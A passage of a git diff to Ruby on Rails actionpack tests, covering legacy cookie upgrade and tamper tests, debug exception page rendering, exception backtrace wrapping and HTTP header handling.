+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+ get :get_encrypted_cookie
+ assert_kind_of ActionDispatch::Cookies::EncryptedCookieJar, cookies.encrypted
+ end
+
+ def test_encrypted_uses_upgrade_legacy_encrypted_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+ @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+ get :get_encrypted_cookie
+ assert_kind_of ActionDispatch::Cookies::UpgradeLegacyEncryptedCookieJar, cookies.encrypted
+ end
+
+ def test_legacy_signed_cookie_is_read_and_transparently_upgraded_by_signed_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+ @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+
+ legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33").generate(45)
+
+ @request.headers["Cookie"] = "user_id=#{legacy_value}"
+ get :get_signed_cookie
+
+ assert_equal 45, @controller.send(:cookies).signed[:user_id]
+
+ key_generator = @request.env["action_dispatch.key_generator"]
+ secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
+ verifier = ActiveSupport::MessageVerifier.new(secret)
+ assert_equal 45, verifier.verify(@response.cookies["user_id"])
+ end
+
+ def test_legacy_signed_cookie_is_read_and_transparently_encrypted_by_encrypted_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+ @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+ @request.env["action_dispatch.encrypted_cookie_salt"] = "4433796b79d99a7735553e316522acee"
+ @request.env["action_dispatch.encrypted_signed_cookie_salt"] = "00646eb40062e1b1deff205a27cd30f9"
+
+ legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33").generate('bar')
+
+ @request.headers["Cookie"] = "foo=#{legacy_value}"
+ get :get_encrypted_cookie
+
+ assert_equal 'bar', @controller.send(:cookies).encrypted[:foo]
+
+ key_generator = @request.env["action_dispatch.key_generator"]
+ secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_cookie_salt"])
+ sign_secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_signed_cookie_salt"])
+ encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret)
+ assert_equal 'bar', encryptor.decrypt_and_verify(@response.cookies["foo"])
+ end
+
+ def test_legacy_json_signed_cookie_is_read_and_transparently_upgraded_by_signed_json_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+ @request.env["action_dispatch.cookies_serializer"] = :json
+ @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+
+ legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33", serializer: JSON).generate(45)
+
+ @request.headers["Cookie"] = "user_id=#{legacy_value}"
+ get :get_signed_cookie
+
+ assert_equal 45, @controller.send(:cookies).signed[:user_id]
+
+ key_generator = @request.env["action_dispatch.key_generator"]
+ secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
+ verifier = ActiveSupport::MessageVerifier.new(secret, serializer: JSON)
+ assert_equal 45, verifier.verify(@response.cookies["user_id"])
+ end
+
+ def test_legacy_json_signed_cookie_is_read_and_transparently_encrypted_by_encrypted_json_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+ @request.env["action_dispatch.cookies_serializer"] = :json
+ @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+ @request.env["action_dispatch.encrypted_cookie_salt"] = "4433796b79d99a7735553e316522acee"
+ @request.env["action_dispatch.encrypted_signed_cookie_salt"] = "00646eb40062e1b1deff205a27cd30f9"
+
+ legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33", serializer: JSON).generate('bar')
+
+ @request.headers["Cookie"] = "foo=#{legacy_value}"
+ get :get_encrypted_cookie
+
+ assert_equal 'bar', @controller.send(:cookies).encrypted[:foo]
+
+ key_generator = @request.env["action_dispatch.key_generator"]
+ secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_cookie_salt"])
+ sign_secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_signed_cookie_salt"])
+ encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret, serializer: JSON)
+ assert_equal 'bar', encryptor.decrypt_and_verify(@response.cookies["foo"])
+ end
+
+ def test_legacy_json_signed_cookie_is_read_and_transparently_upgraded_by_signed_json_hybrid_jar_if_both_secret_token_and_secret_key_base_are_set
+ @request.env["action_dispatch.cookies_serializer"] = :hybrid
+ @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+
+ legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33", serializer: JSON).generate(45)
+
+ @request.headers["Cookie"] = "user_id=#{legacy_value}"
+ get :get_signed_cookie
+
+ assert_equal 45, @controller.send(:cookies).signed[:user_id]
+
+ key_generator = @request.env["action_dispatch.key_generator"]
+ secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
+ verifier = ActiveSupport::MessageVerifier.new(secret, serializer: JSON)
+ assert_equal 45, verifier.verify(@response.cookies["user_id"])
+ end
+
+ def test_legacy_json_signed_cookie_is_read_and_transparently_encrypted_by_encrypted_hybrid_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+ @request.env["action_dispatch.cookies_serializer"] = :hybrid
+ @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+ @request.env["action_dispatch.encrypted_cookie_salt"] = "4433796b79d99a7735553e316522acee"
+ @request.env["action_dispatch.encrypted_signed_cookie_salt"] = "00646eb40062e1b1deff205a27cd30f9"
+
+ legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33", serializer: JSON).generate('bar')
+
+ @request.headers["Cookie"] = "foo=#{legacy_value}"
+ get :get_encrypted_cookie
+
+ assert_equal 'bar', @controller.send(:cookies).encrypted[:foo]
+
+ key_generator = @request.env["action_dispatch.key_generator"]
+ secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_cookie_salt"])
+ sign_secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_signed_cookie_salt"])
+ encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret, serializer: JSON)
+ assert_equal 'bar', encryptor.decrypt_and_verify(@response.cookies["foo"])
+ end
+
+ def test_legacy_marshal_signed_cookie_is_read_and_transparently_upgraded_by_signed_json_hybrid_jar_if_both_secret_token_and_secret_key_base_are_set
+ @request.env["action_dispatch.cookies_serializer"] = :hybrid
+ @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+
+ legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33").generate(45)
+
+ @request.headers["Cookie"] = "user_id=#{legacy_value}"
+ get :get_signed_cookie
+
+ assert_equal 45, @controller.send(:cookies).signed[:user_id]
+
+ key_generator = @request.env["action_dispatch.key_generator"]
+ secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
+ verifier = ActiveSupport::MessageVerifier.new(secret, serializer: JSON)
+ assert_equal 45, verifier.verify(@response.cookies["user_id"])
+ end
+
+ def test_legacy_marshal_signed_cookie_is_read_and_transparently_encrypted_by_encrypted_hybrid_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+ @request.env["action_dispatch.cookies_serializer"] = :hybrid
+ @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+ @request.env["action_dispatch.encrypted_cookie_salt"] = "4433796b79d99a7735553e316522acee"
+ @request.env["action_dispatch.encrypted_signed_cookie_salt"] = "00646eb40062e1b1deff205a27cd30f9"
+
+ legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33").generate('bar')
+
+ @request.headers["Cookie"] = "foo=#{legacy_value}"
+ get :get_encrypted_cookie
+
+ assert_equal 'bar', @controller.send(:cookies).encrypted[:foo]
+
+ key_generator = @request.env["action_dispatch.key_generator"]
+ secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_cookie_salt"])
+ sign_secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_signed_cookie_salt"])
+ encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret, serializer: JSON)
+ assert_equal 'bar', encryptor.decrypt_and_verify(@response.cookies["foo"])
+ end
+
+ def test_legacy_signed_cookie_is_treated_as_nil_by_signed_cookie_jar_if_tampered
+ @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+
+ @request.headers["Cookie"] = "user_id=45"
+ get :get_signed_cookie
+
+ assert_equal nil, @controller.send(:cookies).signed[:user_id]
+ assert_equal nil, @response.cookies["user_id"]
+ end
+
+ def test_legacy_signed_cookie_is_treated_as_nil_by_encrypted_cookie_jar_if_tampered
+ @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+
+ @request.headers["Cookie"] = "foo=baz"
+ get :get_encrypted_cookie
+
+ assert_equal nil, @controller.send(:cookies).encrypted[:foo]
+ assert_equal nil, @response.cookies["foo"]
+ end
+
def test_cookie_with_all_domain_option
get :set_cookie_with_domain
assert_response :success
@@ -445,7 +971,7 @@ class CookiesTest < ActionController::TestCase
request.cookies[:user_name] = 'Joe'
get :delete_cookie_with_domain
assert_response :success
- assert_cookie_header "user_name=; domain=.nextangle.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT"
+ assert_cookie_header "user_name=; domain=.nextangle.com; path=/; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 -0000"
end
def test_cookie_with_all_domain_option_and_tld_length
@@ -472,7 +998,7 @@ class CookiesTest < ActionController::TestCase
request.cookies[:user_name] = 'Joe'
get :delete_cookie_with_domain_and_tld
assert_response :success
- assert_cookie_header "user_name=; domain=.nextangle.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT"
+ assert_cookie_header "user_name=; domain=.nextangle.com; path=/; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 -0000"
end
def test_cookie_with_several_preset_domains_using_one_of_these_domains
@@ -501,7 +1027,7 @@ class CookiesTest < ActionController::TestCase
request.cookies[:user_name] = 'Joe'
get :delete_cookie_with_domains
assert_response :success
- assert_cookie_header "user_name=; domain=example2.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT"
+ assert_cookie_header "user_name=; domain=example2.com; path=/; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 -0000"
end
def test_deletings_cookie_with_several_preset_domains_using_other_domain
@@ -509,7 +1035,7 @@ class CookiesTest < ActionController::TestCase
request.cookies[:user_name] = 'Joe'
get :delete_cookie_with_domains
assert_response :success
- assert_cookie_header "user_name=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT"
+ assert_cookie_header "user_name=; path=/; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 -0000"
end
def test_cookies_hash_is_indifferent_access
@@ -521,8 +1047,6 @@ class CookiesTest < ActionController::TestCase
assert_equal "dhh", cookies['user_name']
end
-
-
def test_setting_request_cookies_is_indifferent_access
cookies.clear
cookies[:user_name] = "andrew"
diff --git a/actionpack/test/dispatch/debug_exceptions_test.rb b/actionpack/test/dispatch/debug_exceptions_test.rb
index d236b14e02..1e5ed60b09 100644
--- a/actionpack/test/dispatch/debug_exceptions_test.rb
+++ b/actionpack/test/dispatch/debug_exceptions_test.rb
@@ -10,6 +10,8 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest
@closed = false
end
+ # We're obliged to implement this (even though it doesn't actually
+ # get called here) to properly comply with the Rack SPEC
def each
end
@@ -17,6 +19,10 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest
@closed = true
end
+ def method_that_raises
+ raise StandardError.new 'error in framework'
+ end
+
def call(env)
env['action_dispatch.show_detailed_exceptions'] = @detailed
req = ActionDispatch::Request.new(env)
@@ -29,24 +35,53 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest
raise RuntimeError
when "/method_not_allowed"
raise ActionController::MethodNotAllowed
+ when "/unknown_http_method"
+ raise ActionController::UnknownHttpMethod
when "/not_implemented"
raise ActionController::NotImplemented
when "/unprocessable_entity"
raise ActionController::InvalidAuthenticityToken
when "/not_found_original_exception"
raise ActionView::Template::Error.new('template', AbstractController::ActionNotFound.new)
+ when "/missing_template"
+ raise ActionView::MissingTemplate.new(%w(foo), 'foo/index', %w(foo), false, 'mailer')
when "/bad_request"
raise ActionController::BadRequest
when "/missing_keys"
raise ActionController::UrlGenerationError, "No route matches"
+ when "/parameter_missing"
+ raise ActionController::ParameterMissing, :missing_param_key
+ when "/original_syntax_error"
+ eval 'broke_syntax =' # `eval` need for raise native SyntaxError at runtime
+ when "/syntax_error_into_view"
+ begin
+ eval 'broke_syntax ='
+ rescue Exception => e
+ template = ActionView::Template.new(File.read(__FILE__),
+ __FILE__,
+ ActionView::Template::Handlers::Raw.new,
+ {})
+ raise ActionView::Template::Error.new(template, e)
+ end
+ when "/framework_raises"
+ method_that_raises
else
raise "puke!"
end
end
end
- ProductionApp = ActionDispatch::DebugExceptions.new(Boomer.new(false))
- DevelopmentApp = ActionDispatch::DebugExceptions.new(Boomer.new(true))
+ def setup
+ app = ActiveSupport::OrderedOptions.new
+ app.config = ActiveSupport::OrderedOptions.new
+ app.config.assets = ActiveSupport::OrderedOptions.new
+ app.config.assets.prefix = '/sprockets'
+ Rails.stubs(:application).returns(app)
+ end
+
+ RoutesApp = Struct.new(:routes).new(SharedTestRoutes)
+ ProductionApp = ActionDispatch::DebugExceptions.new(Boomer.new(false), RoutesApp)
+ DevelopmentApp = ActionDispatch::DebugExceptions.new(Boomer.new(true), RoutesApp)
test 'skip diagnosis if not showing detailed exceptions' do
@app = ProductionApp
@@ -78,6 +113,24 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest
assert boomer.closed, "Expected to close the response body"
end
+ test 'displays routes in a table when a RoutingError occurs' do
+ @app = DevelopmentApp
+ get "/pass", {}, {'action_dispatch.show_exceptions' => true}
+ routing_table = body[/route_table.*<.table>/m]
+ assert_match '/:controller(/:action)(.:format)', routing_table
+ assert_match ':controller#:action', routing_table
+ assert_no_match '&lt;|&gt;', routing_table, "there should not be escaped html in the output"
+ end
+
+ test 'displays request and response info when a RoutingError occurs' do
+ @app = DevelopmentApp
+
+ get "/pass", {}, {'action_dispatch.show_exceptions' => true}
+
+ assert_select 'h2', /Request/
+ assert_select 'h2', /Response/
+ end
+
test "rescue with diagnostics message" do
@app = DevelopmentApp
@@ -93,9 +146,59 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest
assert_response 405
assert_match(/ActionController::MethodNotAllowed/, body)
+ get "/unknown_http_method", {}, {'action_dispatch.show_exceptions' => true}
+ assert_response 405
+ assert_match(/ActionController::UnknownHttpMethod/, body)
+
get "/bad_request", {}, {'action_dispatch.show_exceptions' => true}
assert_response 400
assert_match(/ActionController::BadRequest/, body)
+
+ get "/parameter_missing", {}, {'action_dispatch.show_exceptions' => true}
+ assert_response 400
+ assert_match(/ActionController::ParameterMissing/, body)
+ end
+
+ test "rescue with text error for xhr request" do
+ @app = DevelopmentApp
+ xhr_request_env = {'action_dispatch.show_exceptions' => true, 'HTTP_X_REQUESTED_WITH' => 'XMLHttpRequest'}
+
+ get "/", {}, xhr_request_env
+ assert_response 500
+ assert_no_match(/<header>/, body)
+ assert_no_match(/<body>/, body)
+ assert_equal "text/plain", response.content_type
+ assert_match(/RuntimeError\npuke/, body)
+
+ get "/not_found", {}, xhr_request_env
+ assert_response 404
+ assert_no_match(/<body>/, body)
+ assert_equal "text/plain", response.content_type
+ assert_match(/#{AbstractController::ActionNotFound.name}/, body)
+
+ get "/method_not_allowed", {}, xhr_request_env
+ assert_response 405
+ assert_no_match(/<body>/, body)
+ assert_equal "text/plain", response.content_type
+ assert_match(/ActionController::MethodNotAllowed/, body)
+
+ get "/unknown_http_method", {}, xhr_request_env
+ assert_response 405
+ assert_no_match(/<body>/, body)
+ assert_equal "text/plain", response.content_type
+ assert_match(/ActionController::UnknownHttpMethod/, body)
+
+ get "/bad_request", {}, xhr_request_env
+ assert_response 400
+ assert_no_match(/<body>/, body)
+ assert_equal "text/plain", response.content_type
+ assert_match(/ActionController::BadRequest/, body)
+
+ get "/parameter_missing", {}, xhr_request_env
+ assert_response 400
+ assert_no_match(/<body>/, body)
+ assert_equal "text/plain", response.content_type
+ assert_match(/ActionController::ParameterMissing/, body)
end
test "does not show filtered parameters" do
@@ -135,7 +238,30 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest
}
})
assert_response 500
- assert_match(/RuntimeError\n in FeaturedTileController/, body)
+ assert_match(/RuntimeError\n\s+in FeaturedTileController/, body)
+ end
+
+ test "show formatted params" do
+ @app = DevelopmentApp
+
+ params = {
+ 'id' => 'unknown',
+ 'someparam' => {
+ 'foo' => 'bar',
+ 'abc' => 'goo'
+ }
+ }
+
+ get("/runtime_error", {}, {
+ 'action_dispatch.show_exceptions' => true,
+ 'action_dispatch.request.parameters' => {
+ 'action' => 'show',
+ 'controller' => 'featured_tile'
+ }.merge(params)
+ })
+ assert_response 500
+
+ assert_includes(body, CGI.escapeHTML(PP.pp(params, "", 200)))
end
test "sets the HTTP charset parameter" do
@@ -171,4 +297,77 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest
get "/", {}, env
assert_operator((output.rewind && output.read).lines.count, :>, 10)
end
+
+ test 'display backtrace when error type is SyntaxError' do
+ @app = DevelopmentApp
+
+ get '/original_syntax_error', {}, {'action_dispatch.backtrace_cleaner' => ActiveSupport::BacktraceCleaner.new}
+
+ assert_response 500
+ assert_select '#Application-Trace' do
+ assert_select 'pre code', /\(eval\):1: syntax error, unexpected/
+ end
+ end
+
+ test 'display backtrace on template missing errors' do
+ @app = DevelopmentApp
+
+ get "/missing_template", nil, {}
+
+ assert_select "header h1", /Template is missing/
+
+ assert_select "#container h2", /^Missing template/
+
+ assert_select '#Application-Trace'
+ assert_select '#Framework-Trace'
+ assert_select '#Full-Trace'
+
+ assert_select 'h2', /Request/
+ end
+
+ test 'display backtrace when error type is SyntaxError wrapped by ActionView::Template::Error' do
+ @app = DevelopmentApp
+
+ get '/syntax_error_into_view', {}, {'action_dispatch.backtrace_cleaner' => ActiveSupport::BacktraceCleaner.new}
+
+ assert_response 500
+ assert_select '#Application-Trace' do
+ assert_select 'pre code', /\(eval\):1: syntax error, unexpected/
+ end
+ end
+
+ test 'debug exceptions app shows user code that caused the error in source view' do
+ @app = DevelopmentApp
+ Rails.stubs(:root).returns(Pathname.new('.'))
+ cleaner = ActiveSupport::BacktraceCleaner.new.tap do |bc|
+ bc.add_silencer { |line| line =~ /method_that_raises/ }
+ bc.add_silencer { |line| line !~ %r{test/dispatch/debug_exceptions_test.rb} }
+ end
+
+ get '/framework_raises', {}, {'action_dispatch.backtrace_cleaner' => cleaner}
+
+ # Assert correct error
+ assert_response 500
+ assert_select 'h2', /error in framework/
+
+ # assert source view line is the call to method_that_raises
+ assert_select 'div.source:not(.hidden)' do
+ assert_select 'pre .line.active', /method_that_raises/
+ end
+
+ # assert first source view (hidden) that throws the error
+ assert_select 'div.source:first' do
+ assert_select 'pre .line.active', /raise StandardError\.new/
+ end
+
+ # assert application trace refers to line that calls method_that_raises is first
+ assert_select '#Application-Trace' do
+ assert_select 'pre code a:first', %r{test/dispatch/debug_exceptions_test\.rb:\d+:in `call}
+ end
+
+ # assert framework trace that that threw the error is first
+ assert_select '#Framework-Trace' do
+ assert_select 'pre code a:first', /method_that_raises/
+ end
+ end
end
diff --git a/actionpack/test/dispatch/exception_wrapper_test.rb b/actionpack/test/dispatch/exception_wrapper_test.rb
new file mode 100644
index 0000000000..d7408164ba
--- /dev/null
+++ b/actionpack/test/dispatch/exception_wrapper_test.rb
@@ -0,0 +1,97 @@
+require 'abstract_unit'
+
+module ActionDispatch
+ class ExceptionWrapperTest < ActionDispatch::IntegrationTest
+ class TestError < StandardError
+ attr_reader :backtrace
+
+ def initialize(*backtrace)
+ @backtrace = backtrace.flatten
+ end
+ end
+
+ class BadlyDefinedError < StandardError
+ def backtrace
+ nil
+ end
+ end
+
+ setup do
+ Rails.stubs(:root).returns(Pathname.new('.'))
+
+ cleaner = ActiveSupport::BacktraceCleaner.new
+ cleaner.add_silencer { |line| line !~ /^lib/ }
+
+ @environment = { 'action_dispatch.backtrace_cleaner' => cleaner }
+ end
+
+ test '#source_extracts fetches source fragments for every backtrace entry' do
+ exception = TestError.new("lib/file.rb:42:in `index'")
+ wrapper = ExceptionWrapper.new({}, exception)
+
+ wrapper.expects(:source_fragment).with('lib/file.rb', 42).returns('foo')
+
+ assert_equal [ code: 'foo', line_number: 42 ], wrapper.source_extracts
+ end
+
+
+ test '#application_trace returns traces only from the application' do
+ exception = TestError.new(caller.prepend("lib/file.rb:42:in `index'"))
+ wrapper = ExceptionWrapper.new(@environment, exception)
+
+ assert_equal [ "lib/file.rb:42:in `index'" ], wrapper.application_trace
+ end
+
+ test '#application_trace cannot be nil' do
+ nil_backtrace_wrapper = ExceptionWrapper.new(@environment, BadlyDefinedError.new)
+ nil_cleaner_wrapper = ExceptionWrapper.new({}, BadlyDefinedError.new)
+
+ assert_equal [], nil_backtrace_wrapper.application_trace
+ assert_equal [], nil_cleaner_wrapper.application_trace
+ end
+
+ test '#framework_trace returns traces outside the application' do
+ exception = TestError.new(caller.prepend("lib/file.rb:42:in `index'"))
+ wrapper = ExceptionWrapper.new(@environment, exception)
+
+ assert_equal caller, wrapper.framework_trace
+ end
+
+ test '#framework_trace cannot be nil' do
+ nil_backtrace_wrapper = ExceptionWrapper.new(@environment, BadlyDefinedError.new)
+ nil_cleaner_wrapper = ExceptionWrapper.new({}, BadlyDefinedError.new)
+
+ assert_equal [], nil_backtrace_wrapper.framework_trace
+ assert_equal [], nil_cleaner_wrapper.framework_trace
+ end
+
+ test '#full_trace returns application and framework traces' do
+ exception = TestError.new(caller.prepend("lib/file.rb:42:in `index'"))
+ wrapper = ExceptionWrapper.new(@environment, exception)
+
+ assert_equal exception.backtrace, wrapper.full_trace
+ end
+
+ test '#full_trace cannot be nil' do
+ nil_backtrace_wrapper = ExceptionWrapper.new(@environment, BadlyDefinedError.new)
+ nil_cleaner_wrapper = ExceptionWrapper.new({}, BadlyDefinedError.new)
+
+ assert_equal [], nil_backtrace_wrapper.full_trace
+ assert_equal [], nil_cleaner_wrapper.full_trace
+ end
+
+ test '#traces returns every trace by category enumerated with an index' do
+ exception = TestError.new("lib/file.rb:42:in `index'", "/gems/rack.rb:43:in `index'")
+ wrapper = ExceptionWrapper.new(@environment, exception)
+
+ assert_equal({
+ 'Application Trace' => [ id: 0, trace: "lib/file.rb:42:in `index'" ],
+ 'Framework Trace' => [ id: 1, trace: "/gems/rack.rb:43:in `index'" ],
+ 'Full Trace' => [
+ { id: 0, trace: "lib/file.rb:42:in `index'" },
+ { id: 1, trace: "/gems/rack.rb:43:in `index'" }
+ ]
+ }, wrapper.traces)
+ end
+ end
+end
diff --git a/actionpack/test/dispatch/header_test.rb b/actionpack/test/dispatch/header_test.rb
index 42432510c3..e2b38c23bc 100644
--- a/actionpack/test/dispatch/header_test.rb
+++ b/actionpack/test/dispatch/header_test.rb
@@ -1,41 +1,139 @@
-require 'abstract_unit'
+require "abstract_unit"
class HeaderTest < ActiveSupport::TestCase
- def setup
+ setup do
@headers = ActionDispatch::Http::Headers.new(
- "HTTP_CONTENT_TYPE" => "text/plain"
+ "CONTENT_TYPE" => "text/plain",
+ "HTTP_REFERER" => "/some/page"
)
end
- def test_each
+ test "#new does not normalize the data" do
+ headers = ActionDispatch::Http::Headers.new(
+ "Content-Type" => "application/json",
+ "HTTP_REFERER" => "/some/page",
+ "Host" => "http://test.com")
+
+ assert_equal({"Content-Type" => "application/json",
+ "HTTP_REFERER" => "/some/page",
+ "Host" => "http://test.com"}, headers.env)
+ end
+
+ test "#env returns the headers as env variables" do
+ assert_equal({"CONTENT_TYPE" => "text/plain",
+ "HTTP_REFERER" => "/some/page"}, @headers.env)
+ end
+
+ test "#each iterates through the env variables" do
headers = []
@headers.each { |pair| headers << pair }
- assert_equal [["HTTP_CONTENT_TYPE", "text/plain"]], headers
+ assert_equal [["CONTENT_TYPE", "text/plain"],
+ ["HTTP_REFERER", "/some/page"]], headers
+ end
+
+ test "set new headers" do
+ @headers["Host"] = "127.0.0.1"
+
+ assert_equal "127.0.0.1", @headers["Host"]
+ assert_equal "127.0.0.1", @headers["HTTP_HOST"]
+ end
+
+ test "headers can contain numbers" do
+ @headers["Content-MD5"] = "Q2hlY2sgSW50ZWdyaXR5IQ=="
+
+ assert_equal "Q2hlY2sgSW50ZWdyaXR5IQ==", @headers["Content-MD5"]
+ assert_equal "Q2hlY2sgSW50ZWdyaXR5IQ==", @headers["HTTP_CONTENT_MD5"]
+ end
+
+ test "set new env variables" do
+ @headers["HTTP_HOST"] = "127.0.0.1"
+
+ assert_equal "127.0.0.1", @headers["Host"]
+ assert_equal "127.0.0.1", @headers["HTTP_HOST"]
end
- def test_setter
- @headers['foo'] = "bar"
- assert_equal "bar", @headers['foo']
+ test "key?" do
+ assert @headers.key?("CONTENT_TYPE")
+ assert @headers.include?("CONTENT_TYPE")
+ assert @headers.key?("Content-Type")
+ assert @headers.include?("Content-Type")
end
- def test_key?
- assert @headers.key?('HTTP_CONTENT_TYPE')
- assert @headers.include?('HTTP_CONTENT_TYPE')
+ test "fetch with block" do
+ assert_equal "omg", @headers.fetch("notthere") { "omg" }
end
- def test_fetch_with_block
- assert_equal 'omg', @headers.fetch('notthere') { 'omg' }
+ test "accessing http header" do
+ assert_equal "/some/page", @headers["Referer"]
+ assert_equal "/some/page", @headers["referer"]
+ assert_equal "/some/page", @headers["HTTP_REFERER"]
end
- test "content type" do
+ test "accessing special header" do
assert_equal "text/plain", @headers["Content-Type"]
assert_equal "text/plain", @headers["content-type"]
assert_equal "text/plain", @headers["CONTENT_TYPE"]
- assert_equal "text/plain", @headers["HTTP_CONTENT_TYPE"]
end
test "fetch" do
assert_equal "text/plain", @headers.fetch("content-type", nil)
- assert_equal "not found", @headers.fetch('not-found', 'not found')
+ assert_equal "not found", @headers.fetch("not-found", "not found")
+ end
+
+ test "#merge! headers with mutation" do
+ @headers.merge!("Host" => "http://example.test",
+ "Content-Type" => "text/html")
+ assert_equal({"HTTP_HOST" => "http://example.test",
+ "CONTENT_TYPE" => "text/html",
+ "HTTP_REFERER" => "/some/page"}, @headers.env)
+ end
+
+ test "#merge! env with mutation" do
+ @headers.merge!("HTTP_HOST" => "http://first.com",
+ "CONTENT_TYPE" => "text/html")
+ assert_equal({"HTTP_HOST" => "http://first.com",
+ "CONTENT_TYPE" => "text/html",
+ "HTTP_REFERER" => "/some/page"}, @headers.env)
+ end
+
+ test "merge without mutation" do
+ combined = @headers.merge("HTTP_HOST" => "http://example.com",
+ "CONTENT_TYPE" => "text/html")
+ assert_equal({"HTTP_HOST" => "http://example.com",
+ "CONTENT_TYPE" => "text/html",
+ "HTTP_REFERER" => "/some/page"}, combined.env)
+
+ assert_equal({"CONTENT_TYPE" => "text/plain",
+ "HTTP_REFERER" => "/some/page"}, @headers.env)
+ end
+
+ test "env variables with . are not modified" do
+ headers = ActionDispatch::Http::Headers.new
+ headers.merge! "rack.input" => "",
+ "rack.request.cookie_hash" => "",
+ "action_dispatch.logger" => ""
+
+ assert_equal(["action_dispatch.logger",
+ "rack.input",
+ "rack.request.cookie_hash"], headers.env.keys.sort)
+ end
+
+ test "symbols are treated as strings" do
+ headers = ActionDispatch::Http::Headers.new
+ headers.merge!(:SERVER_NAME => "example.com",
+ "HTTP_REFERER" => "/",
+ :Host => "test.com")
+ assert_equal "example.com", headers["SERVER_NAME"]
+ assert_equal "/", headers[:HTTP_REFERER]
+ assert_equal "test.com", headers["HTTP_HOST"]
+ end
+
+ test "headers directly modifies the passed environment" do
+ env = {"HTTP_REFERER" => "/"}
+ headers = ActionDispatch::Http::Headers.new(env)
+ headers['Referer'] = "http://example.com/"
+ headers.merge! "CONTENT_TYPE" => "text/plain"
+ assert_equal({"HTTP_REFERER"=>"http://example.com/",
+ "CONTENT_TYPE"=>"text/plain"}, env)
end
end
diff --git a/actionpack/test/dispatch/live_response_test.rb b/actionpack/test/dispatch/live_response_test.rb
index e16f23914b..512f3a8a7a 100644
--- a/actionpack/test/dispatch/live_response_test.rb
+++ b/actionpack/test/dispatch/live_response_test.rb
@@ -6,12 +6,13 @@ module ActionController
class ResponseTest < ActiveSupport::TestCase
def setup
@response = Live::Response.new
+ @response.request = ActionDispatch::Request.new({}) #yolo
end
def test_header_merge
header = @response.header.merge('Foo' => 'Bar')
assert_kind_of(ActionController::Live::Response::Header, header)
